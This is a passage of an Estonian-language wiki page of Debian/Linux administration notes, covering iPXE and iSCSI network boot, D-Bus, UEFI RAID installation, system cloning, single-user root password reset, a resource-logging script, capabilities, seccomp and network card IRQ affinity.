   next-server 192.168.10.10;&lt;br /&gt;
   option domain-name-servers 10.192.0.53;&lt;br /&gt;
   if exists user-class and option user-class = &amp;quot;iPXE&amp;quot; {&lt;br /&gt;
     filename &amp;quot;http://ftp.imool.ee/pub/incoming/imre/ipxe&amp;quot;;&lt;br /&gt;
   } else {&lt;br /&gt;
      filename &amp;quot;undionly.kpxe&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
}   &lt;br /&gt;
&lt;br /&gt;
* esmalt klient arvuti töötab PXE abil DHCP kliendina ja laaditakse undionly.kpxe&lt;br /&gt;
* seejärel klient arvuti töötab iPXE abil DHCP kliendina ja pöördutakse http://ftp.imool.ee/pub/incoming/imre/ipxe poole&lt;br /&gt;
&lt;br /&gt;
====Debian v. 8 Jessie kasutamine diskless iSCSI kliendina====&lt;br /&gt;
&lt;br /&gt;
Üks praktiline vajadus iPXE jaoks on iSCSI ressursi kautamine juurfailisüsteemina. Selleks sobib Debian v. 8 Jessie paigaldada eelmises punktis näidatud viisil ja failisüsteemid paigutada iSCSI peale. Paigaldatud arvuti käivitamiseks sobib kasutada sellist iPXE skripti&lt;br /&gt;
&lt;br /&gt;
 # cat scsi-boot.ipxe&lt;br /&gt;
 #!ipxe&lt;br /&gt;
 &lt;br /&gt;
 dhcp&lt;br /&gt;
 set initiator-iqn iqn.1993-08.org.debian:01:6f3ac5994d50&lt;br /&gt;
 sanboot iscsi:10.1.1.15::::iqn.2000-01.com.synology:syno-varundus-1.imretest.989d9f15bf&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
mis laaditakse dchp serveri seadistusfailist reaga&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 filename &amp;quot;http://ftp.imool.ee/pub/incoming/imre/iscsi-boot.ipxe&amp;quot;;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Kui Debian Jessie peaks bootimisel jääma initramfs prompti, siis võib aidata käsitsi sobivate argumentidega öelda&lt;br /&gt;
&lt;br /&gt;
 # iscsistart ...&lt;br /&gt;
&lt;br /&gt;
või pärida iPXE käest&lt;br /&gt;
&lt;br /&gt;
 # iscsistart -b&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -t - ...&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://backreference.org/2013/12/23/diskless-iscsi-boot-with-pxe-howto/&lt;br /&gt;
* http://www.heath-bar.com/blog/?p=184&lt;br /&gt;
* http://etherboot.org/wiki/sanboot/debian_lenny_iscsi&lt;br /&gt;
* http://ipxe.org/cmd/sanboot&lt;br /&gt;
* http://wiki.openelec.tv/index.php/Network_Boot_-_iSCSI&lt;br /&gt;
* http://jpmens.net/2011/07/18/network-booting-machines-over-http/&lt;br /&gt;
&lt;br /&gt;
===D-Bus===&lt;br /&gt;
&lt;br /&gt;
D-Bus http://www.freedesktop.org/wiki/Software/dbus/ ...&lt;br /&gt;
&lt;br /&gt;
D-Bus peal toimuva jälgimiseks sobib kasutada nt d-feet programmi&lt;br /&gt;
&lt;br /&gt;
 # apt-get install d-feet&lt;br /&gt;
&lt;br /&gt;
[[Pilt:D-feet-1.gif]]&lt;br /&gt;
&lt;br /&gt;
PlayPause toggleb pausi ja jätkamise vahel, selle rakendamist võib klõpsida hiirega ja öelda Execute või käsurealt&lt;br /&gt;
&lt;br /&gt;
 $ dbus-send --print-reply --session --dest=org.mpris.MediaPlayer2.vlc /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.PlayPause&lt;br /&gt;
 method return sender=:1.913 -&amp;gt; dest=:1.917 reply_serial=2&lt;br /&gt;
&lt;br /&gt;
Samal ajal ütleb dbus-monitor filtreeridest välja töötavale vlc eksemplarile (:1.913) vastused&lt;br /&gt;
&lt;br /&gt;
 $ dbus-monitor &amp;quot;sender=:1.913&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 method return sender=:1.913 -&amp;gt; dest=:1.978 reply_serial=2&lt;br /&gt;
 signal sender=:1.913 -&amp;gt; dest=(null destination) serial=88 path=/org/mpris/MediaPlayer2; \&lt;br /&gt;
   interface=org.freedesktop.DBus.Properties;  member=PropertiesChanged&lt;br /&gt;
   string &amp;quot;org.mpris.MediaPlayer2.Player&amp;quot;&lt;br /&gt;
   array [&lt;br /&gt;
      dict entry(&lt;br /&gt;
         string &amp;quot;PlaybackStatus&amp;quot;&lt;br /&gt;
         variant             string &amp;quot;Paused&amp;quot;&lt;br /&gt;
      )&lt;br /&gt;
   ]&lt;br /&gt;
   array [&lt;br /&gt;
   ]&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.gnome.org/Apps/DFeet&lt;br /&gt;
* http://en.wikipedia.org/wiki/D-Bus&lt;br /&gt;
&lt;br /&gt;
===Debian paigaldamine UEFI arvutisse===&lt;br /&gt;
&lt;br /&gt;
Olgu eesmärk paigadada UEFI firmwarega arvutisse Debian v. 8 Jessie, kusjuures kasutatakse kahe füüsilise kõvakettaga mdadm RAID1 lülitust. System setup keskkonnnas näidata moel või teisel, et arvuti töötab UEFI (mitte BIOS emulatsiooni vms) režiimis. Esimeseks boot valikuks valida UEFI shell. Shellis öelda&lt;br /&gt;
&lt;br /&gt;
 &amp;gt; fs0:\BOOT\EFI\BOOT...&lt;br /&gt;
&lt;br /&gt;
Tulemusena käivitub Debian Installer (DI), kus tuleb seadistada selline kõvaketaste kasutus&lt;br /&gt;
&lt;br /&gt;
* /dev/sda1 ja /dev/sdb1 - EFI System Partitionid, 512 MB&lt;br /&gt;
* /dev/sda2 ja /dev/sdb2 - mdadm mirror, 2 GB, kus hakkab paiknema /boot failisüsteem&lt;br /&gt;
* /dev/sda3 ja /dev/sdb3 - mdadm mirror, 24 GB, kus hakkab paiknema operatsioonisüsteem, LVM köidetel&lt;br /&gt;
* /dev/system/swap ja /dev/system/root - asub mdadm peal&lt;br /&gt;
* /dev/sda4 ja /dev/sdb4 jne - juurutatakse operatsioonisüsteemi keskkonnas&lt;br /&gt;
&lt;br /&gt;
Tundub, et selliselt ettevalmistatud kõvakettakasutusest saab DI hästi aru ja tulemusena tekib selline süsteem&lt;br /&gt;
&lt;br /&gt;
 # df&lt;br /&gt;
 Filesystem     1K-blocks   Used Available Use% Mounted on&lt;br /&gt;
 /dev/dm-0       11403544 938660   9862568   9% /&lt;br /&gt;
 udev               10240      0     10240   0% /dev&lt;br /&gt;
 tmpfs            1631032   8724   1622308   1% /run&lt;br /&gt;
 tmpfs            4077572      0   4077572   0% /dev/shm&lt;br /&gt;
 tmpfs               5120      0      5120   0% /run/lock&lt;br /&gt;
 tmpfs            4077572      0   4077572   0% /sys/fs/cgroup&lt;br /&gt;
 /dev/md0         1888268  35564   1738736   3% /boot&lt;br /&gt;
 /dev/sda1         497696    148    497548   1% /boot/efi&lt;br /&gt;
&lt;br /&gt;
Partitsioonid sellised&lt;br /&gt;
&lt;br /&gt;
 # parted /dev/sda p&lt;br /&gt;
 Model: ATA ST2000NM0033-9ZM (scsi)&lt;br /&gt;
 Disk /dev/sda: 2000GB&lt;br /&gt;
 Sector size (logical/physical): 512B/512B&lt;br /&gt;
 Partition Table: gpt&lt;br /&gt;
 Disk Flags: &lt;br /&gt;
 &lt;br /&gt;
 Number  Start   End     Size    File system  Name      Flags&lt;br /&gt;
  1      1049kB  512MB   511MB   fat32        efsname   boot, esp&lt;br /&gt;
  2      512MB   2511MB  2000MB               sda2part  raid&lt;br /&gt;
  3      2511MB  26.5GB  24.0GB               sda3part  raid&lt;br /&gt;
&lt;br /&gt;
Lõpuks tuleb kopeerida /dev/sdb1 peale /dev/sda1 failisüsteemi sisu (EFI GRUB bootloader).&lt;br /&gt;
&lt;br /&gt;
 # efibootmgr &lt;br /&gt;
 BootCurrent: 0003&lt;br /&gt;
 Timeout: 1 seconds&lt;br /&gt;
 BootOrder: 0003,0009,000D,0000,0001,0002&lt;br /&gt;
 Boot0000* ATEN Virtual CDROM YS0J&lt;br /&gt;
 Boot0001* IBA GE Slot 0300 v1404&lt;br /&gt;
 Boot0002* P0: ST2000NM0033-9ZM175       &lt;br /&gt;
 Boot0003* debian&lt;br /&gt;
 Boot0009* UEFI: Built-in EFI Shell &lt;br /&gt;
 Boot000D* UEFI: ATEN Virtual CDROM YS0J&lt;br /&gt;
&lt;br /&gt;
===Arvuti kloonimine===&lt;br /&gt;
&lt;br /&gt;
Arvuti kloonimise tulemusena moodustatakse olemasoleva arvuti tarkvaralisest seistust, st operatsioonisüsteem ja seal töötavad rakendused, töötav koopia. Sõltuvalt asjaoludest, nt kui koopia töötab samas võrgus ja samal ajal lähtepunktiks oleva arvutiga, peab talle seadistama erineva ip aadressi. Kloonimise põhjuseks võib olla nt soov taha arenduspartnerile kättesaadavaks täpselt samasugune seis arvutist nagu on juba kasutada, sel juhul jääb ära vähem või rohkem keerukas arvuti ettevalmistamise aeg, mis kuluks operatsioonisüsteemi ja rakendusprogrammide seaditamisele.&lt;br /&gt;
&lt;br /&gt;
====Kloonimine failisüsteemi kopeerimise teel====&lt;br /&gt;
&lt;br /&gt;
Kloonimiseks on rikkalikult võimalusi, käesolev juhtum kirjeldab kloonimist failisüsteemi kopeerimise teel&lt;br /&gt;
&lt;br /&gt;
* valida välja sobiv klooniks saav arvuti, piisava protsessori, kõvakette, mälu, võrgu jms ressursiga&lt;br /&gt;
* käivitada puhas uus klooniks saav arvuti (füüsiline või virtuaalne) systemrescue cd plaadilt&lt;br /&gt;
* moodustada fdisk partitsioonid&lt;br /&gt;
* tekitada lvm&lt;br /&gt;
* tekitada failisüsteemid ja swap&lt;br /&gt;
&lt;br /&gt;
 # mkfs.ext4 /dev/sda1&lt;br /&gt;
 # mkfs.ext4 /dev/system/root&lt;br /&gt;
 # mkswap -f /dev/system/swap&lt;br /&gt;
&lt;br /&gt;
* ühendada failisüsteemid külge&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/root&lt;br /&gt;
 # mount /dev/system/root&lt;br /&gt;
 # mkdir /mnt/root/boot&lt;br /&gt;
 # mount /dev/sda1 /mnt/root/boot&lt;br /&gt;
&lt;br /&gt;
* seadistada võrk&lt;br /&gt;
* veenduda, et lähtepunktiks olevas arvutis on klooni riistvara jaoks vajalikud draiverid ja muuud komponendid olemas (LVM, mdadm tugi jms)&lt;br /&gt;
* kopeerida rsync abil üle failisüsteem, vajalike eranditega (nt /proc, /sys, /home)&lt;br /&gt;
&lt;br /&gt;
 orig# rsync -avHXA --exclude --exclude-deleted --numeric-ids --exclude-from=/root/ex / root@x.x.x.x:/mnt/root/&lt;br /&gt;
&lt;br /&gt;
* tekitada käsitsi excludetud kataloogid&lt;br /&gt;
&lt;br /&gt;
 # mkdir proc sys home tmp&lt;br /&gt;
 # chmod 1777 tmp&lt;br /&gt;
&lt;br /&gt;
* kohendada seadistusfaile&lt;br /&gt;
&lt;br /&gt;
 /etc/fstab&lt;br /&gt;
 /etc/network/interfaces&lt;br /&gt;
 /etc/udev/rules.d/70-persistent-net.rules&lt;br /&gt;
&lt;br /&gt;
* ühendada külgeühendatud failisüsteemid lahti&lt;br /&gt;
* rebootida valikuda 'Boot Linux from hard disk'&lt;br /&gt;
* paigaldada bootloader&lt;br /&gt;
&lt;br /&gt;
 # install-grub --recheck --no-floppy /dev/sda&lt;br /&gt;
&lt;br /&gt;
* bootida paigaldatud bootloaderi promptist käsitsi&lt;br /&gt;
&lt;br /&gt;
 grub&amp;gt; linux /vmlinuz... root=/dev/mapper/system-root ro&lt;br /&gt;
 grub&amp;gt; initrd /initrd...&lt;br /&gt;
 grub&amp;gt; boot&lt;br /&gt;
&lt;br /&gt;
* genereerida /boot/grub/grub.conf&lt;br /&gt;
&lt;br /&gt;
 # update-grub&lt;br /&gt;
&lt;br /&gt;
====Kopeeritud süsteemi korrastamine====&lt;br /&gt;
&lt;br /&gt;
Kopeeritud süsteemi edasiandmisel võib olla asjakohane pöörata tähelepanu sellistele asjaoludele, st kas ei anta edasi soovimatult palju andmeid&lt;br /&gt;
&lt;br /&gt;
* kasutajate kodukataloogid (.ssh, .pgpass jt)&lt;br /&gt;
* root, postgres jt süsteemsete ja muidu alles jäänud kasutajate .bash_history failid&lt;br /&gt;
&lt;br /&gt;
 # history -c&lt;br /&gt;
 # rm .bash_history&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* cron tööd (/etc/cron.*/*, crontab -l. /var/spool/cron ...)&lt;br /&gt;
* /var/backups (passwd.bak, shadow.pak jt)&lt;br /&gt;
* varunduse tarkvara agent (nt backupninja)&lt;br /&gt;
* monitooringu tarkvara agent (nt zabbix)&lt;br /&gt;
* liidestus AD vms keskse kasutajahalduse süsteemiga&lt;br /&gt;
* konfiguratsioooni halduse agent (nt puppet)&lt;br /&gt;
* logiserverisse logimine&lt;br /&gt;
* /tmp, /var/tmp kataloogide sisu&lt;br /&gt;
* /var/mail&lt;br /&gt;
* /usr/src&lt;br /&gt;
&lt;br /&gt;
===USB data bridge kasutamine===&lt;br /&gt;
&lt;br /&gt;
USB data bridge on kahe otsaga ja keskel asuvad punniga USB kaabel, mille abil saab kaks arvutit omavahel ühendada andmevahetuseks. Üks populaarne kaabel paistab välja sedasi&lt;br /&gt;
&lt;br /&gt;
 # lsusb &lt;br /&gt;
 Bus 001 Device 005: ID 067b:2501 Prolific Technology, Inc. PL2501 USB-USB Bridge (USB 2.0)&lt;br /&gt;
&lt;br /&gt;
Tundub, et Debiani tuumas on mitme sarnase kaabli tugi, aga mitte päris PL2501 oma. Toe tekitamist kirjeldatakse aadressil https://lkml.org/lkml/2012/7/23/106. Muudatuste tegemiseks sobib kasutada tekstis http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_paketihalduse_kasutamine#Tuuma_kompileerimine kirjeldatud protseduuri.&lt;br /&gt;
&lt;br /&gt;
Peale mooduli laadimist tekib võrguseade&lt;br /&gt;
&lt;br /&gt;
 # ifconfig usb0&lt;br /&gt;
 usb0      Link encap:Ethernet  HWaddr a2:68:73:e5:d6:6e  &lt;br /&gt;
          inet6 addr: fe80::a068:73ff:fee5:d66e/64 Scope:Link&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://paulswasteland.blogspot.com.ee/2014/01/getting-prolific-pl-2501-based-usb-to.html&lt;br /&gt;
&lt;br /&gt;
===Single user ehk ühekasutaja režiim===&lt;br /&gt;
&lt;br /&gt;
Juhtumil, kui arvutisse ei saa root kasutajana sisse logida ja pole ka root parooli teada, et konsoolilt sisse logida, saab kasutada single user režiimi ja seal root parool muuta. Selleks tuleb&lt;br /&gt;
&lt;br /&gt;
* GRUB bootloaderis liikuda nooltega meelepärase boot valiku peale&lt;br /&gt;
* vajutada e nagu edit (see on ekraani all kirjas)&lt;br /&gt;
* liikuda kernel parameetri juurde ja lisada kõige lõppu juurde tühik ning seejärel&lt;br /&gt;
&lt;br /&gt;
 init=/bin/bash&lt;br /&gt;
&lt;br /&gt;
* valida ctrl-x vms (see on ekraani all kirjas) ja arvuti bootida&lt;br /&gt;
&lt;br /&gt;
Tulemusena jõuab arvuti välja nn single user prompti. Selles olekus töötab arvutis suhteliselt vähe protsesse, juurfailisüsteem on monteeritud read-only olekus, võrk on seadistamata jne. root kasutaja või mõni muu kasutaja parooli seadmiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* monteerida juurfailisüsteem read-write olekusse&lt;br /&gt;
&lt;br /&gt;
 # mount -o rw,remount /&lt;br /&gt;
 # passwd kasutajanimi&lt;br /&gt;
 # sync&lt;br /&gt;
 # mount -o ro,remount /&lt;br /&gt;
 # sync&lt;br /&gt;
 # oodata 30 sekundit&lt;br /&gt;
 # reboot -f&lt;br /&gt;
&lt;br /&gt;
Seejärel peaks saama seda uut parooli kasutada.&lt;br /&gt;
&lt;br /&gt;
===Ksplice kasutamine===&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://oss.oracle.com/pipermail/ksplice-debian-8.0-updates/&lt;br /&gt;
&lt;br /&gt;
===Arvuti ressursikasutuse kaardistamine===&lt;br /&gt;
&lt;br /&gt;
Protsessid&lt;br /&gt;
&lt;br /&gt;
 # ps auxef&lt;br /&gt;
&lt;br /&gt;
Avatud failid&lt;br /&gt;
&lt;br /&gt;
 # lsof -n -p PID&lt;br /&gt;
 # lsof -n -u USER&lt;br /&gt;
&lt;br /&gt;
Võrgusoketid&lt;br /&gt;
&lt;br /&gt;
 # lsof -i TCP&lt;br /&gt;
 # lsof -i UDP&lt;br /&gt;
 # lsof -U - unix domain sockets&lt;br /&gt;
&lt;br /&gt;
Semafoorid&lt;br /&gt;
&lt;br /&gt;
 # ipcs -u&lt;br /&gt;
 &lt;br /&gt;
 ------ Shared Memory Status --------&lt;br /&gt;
 segments allocated 2&lt;br /&gt;
 pages allocated 4309411&lt;br /&gt;
 pages resident  4136103&lt;br /&gt;
 pages swapped   169536&lt;br /&gt;
 Swap performance: 0 attempts     0 successes&lt;br /&gt;
 &lt;br /&gt;
 ------ Semaphore Status --------&lt;br /&gt;
 used arrays = 64&lt;br /&gt;
 allocated semaphores = 1083&lt;br /&gt;
 &lt;br /&gt;
 ------ Messages Status --------&lt;br /&gt;
 allocated queues = 0&lt;br /&gt;
 used headers = 0&lt;br /&gt;
 used space = 0 bytes&lt;br /&gt;
&lt;br /&gt;
Nt sellise skript kasutamine cron tööna kord minutis võiks koguda midagi, lisaks sar andmestikule&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /opt/osres/bin/osres.sh &lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
LOG=&amp;quot;/var/log/osres&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if test -f /tmp/osres.lock; then&lt;br /&gt;
  echo &amp;quot;protsess kaib&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
#  echo &amp;quot;kaivitame crontabist osres&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
else&lt;br /&gt;
&lt;br /&gt;
  touch /tmp/osres.lock&lt;br /&gt;
  echo &amp;quot;protsess kaivitatakse&amp;quot; &amp;gt;&amp;gt; /tmp/osres.log&lt;br /&gt;
&lt;br /&gt;
  timeout 20 ps auxef &amp;gt;&amp;gt; ${LOG}/ps-auxef_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 lsof -n &amp;gt;&amp;gt; ${LOG}/lsof-n_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ipcs -a &amp;gt;&amp;gt; ${LOG}/ipcs-a_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ipcs -u &amp;gt;&amp;gt; ${LOG}/ipcs-u_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 netstat -anp &amp;gt;&amp;gt; ${LOG}/netstat-anp_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 conntrack -L &amp;gt;&amp;gt; ${LOG}/conntrack-L_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 touch /var/lib/postgresql/iocheck/io_${AEG}&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ping -c 4 127.0.0.1 &amp;gt; ${LOG}/ping_127.0.0.1_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ping -c 4 10.0.6.73 &amp;gt; ${LOG}/ping_10.0.6.73_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 ssh root@127.0.0.1 &amp;quot;date &amp;gt; ${LOG}/touch-over-ssh_${AEG}.log&amp;quot;&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  timeout 20 dig @10.0.9.4 auul.pri.ee soa &amp;gt;&amp;gt; ${LOG}/dig-10.0.9.4-auul.pri.ee-soa_${AEG}.log&lt;br /&gt;
  AEG=`date +%Y%m%d-%H%M%S`;&lt;br /&gt;
  export PGPASSWORD=&amp;quot;xxx&amp;quot;&lt;br /&gt;
  timeout 20 psql -h 10.0.6.174 -U monitoring baas -c &amp;quot;select now();&amp;quot; &amp;gt;&amp;gt; ${LOG}/psql-10.0.6.174-monitoring-portaal_${AEG}.log&lt;br /&gt;
  &lt;br /&gt;
  rm /tmp/osres.lock&lt;br /&gt;
&lt;br /&gt;
fi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===ConsoleKit===&lt;br /&gt;
&lt;br /&gt;
2017 seisuga paistab see olevat vananenud tehnoloogia, kasutatakse systemd-logind.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Võrgukaart - CPU affinity===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Järgneval viisil tegutsemiseks on vaja ircbalance deemoni töö lõpetada&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop irqbalance&lt;br /&gt;
&lt;br /&gt;
Võrgukaardi multi-queue omadused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ethtool -l eth0&lt;br /&gt;
Channel parameters for eth0:&lt;br /&gt;
Pre-set maximums:&lt;br /&gt;
RX:		8&lt;br /&gt;
TX:		8&lt;br /&gt;
Other:		0&lt;br /&gt;
Combined:	0&lt;br /&gt;
Current hardware settings:&lt;br /&gt;
RX:		2&lt;br /&gt;
TX:		2&lt;br /&gt;
Other:		0&lt;br /&gt;
Combined:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Võrgukaardi ja cpu ja interrupt vahelised seosed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /proc/interrupts | egrep &amp;quot;CPU|eth&amp;quot;&lt;br /&gt;
        CPU0      CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       &lt;br /&gt;
  48:      0         0          0         38          0    1339257     461106          0   PCI-MSI 2097152-edge      eth0-0&lt;br /&gt;
  49:      0         0          1         67    2071270          0          0     143901   PCI-MSI 2097153-edge      eth0-1&lt;br /&gt;
  57:      0         0    1738287          4          0          0          0          0   PCI-MSI 2099200-edge      eth1-0&lt;br /&gt;
  58:      0   3918708          0         38          0          0          0          0   PCI-MSI 2099201-edge      eth1-1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 48, 49 jnt on interrupt number&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /proc/irq/57/smp_affinity&lt;br /&gt;
04&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* hex 04 vastav väärtus on bin 0000 0100&lt;br /&gt;
* bin väärtuses olev paremalt kolmandal positsioonil olev '1' tähistab süsteemis olevat kolmandat protsessorit, st alates nullist lugedes CPU2&lt;br /&gt;
&lt;br /&gt;
Affinity muutmiseks, st selle muutmiseks, milline cpu tegeleb millise võrgukaardiga (või võrgukaardi queue'ga) sobib öelda uus cpu number, nt seostamiseks CPU3 protsessoriga&lt;br /&gt;
&lt;br /&gt;
 # echo 08 &amp;gt; /proc/irq/57/smp_affinity&lt;br /&gt;
&lt;br /&gt;
CPU numeratsioon&lt;br /&gt;
&lt;br /&gt;
* 0000 0001 (bin) ehk 01 (hex) - esimene (CPU0)&lt;br /&gt;
* 0000 0010 (bin) ehk 02 (hex) - teine (CPU1)&lt;br /&gt;
* 0000 0100 (bin) ehk 04 (hex) - kolmas (CPU2)&lt;br /&gt;
* ...&lt;br /&gt;
* 1000 0000 (bin) ehk 80 (hex) - kahesas (CPU7)&lt;br /&gt;
&lt;br /&gt;
Tundub, et võrgukaardi queue'de arvu muutmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # ethtool -L eth0 tx 2&lt;br /&gt;
 # ethtool -L eth0 rx 2&lt;br /&gt;
&lt;br /&gt;
Siin kirjeldatud viisil tehtud seadistused ei kehtestu peale rebooti.&lt;br /&gt;
&lt;br /&gt;
===Watchdog===&lt;br /&gt;
